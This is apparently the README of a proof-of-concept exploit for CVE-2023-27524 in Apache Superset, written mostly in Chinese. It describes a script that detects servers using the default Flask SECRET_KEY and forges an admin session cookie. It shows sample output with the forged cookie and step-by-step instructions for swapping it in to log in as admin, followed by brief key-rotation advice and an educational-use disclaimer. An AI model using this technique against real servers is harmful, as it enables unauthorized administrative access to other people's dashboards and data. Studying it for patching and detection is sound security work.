该脚本用于检查 Apache Superset 服务器是否存在 (CVE-2023-27524) 漏洞,如果存在漏洞,则伪造一个 user_id = 1(通常为 admin 用户)的会话 Cookie,从而实现认证绕过并获取仪表盘的访问权限。目前,全球约有 3000 台服务器运行 Apache Superset。
usage: python3 CVE-2023-27524.py --url URL
% python3 CVE-2023-27524.py --url http://10.1.221.202:8080
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
Now visit the url: `http://10.1.221.202:8080/superset/welcome` and replace the current session cookie with this `eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg` and refresh the page and we will be logged in as admin to the dashboard
按照此处说明生成并配置 Flask SECRET_KEY。可以使用 superset CLI 工具来轮换 SECRET_KEY,以便保留现有数据库连接信息。
此 POC 仅用于教育目的。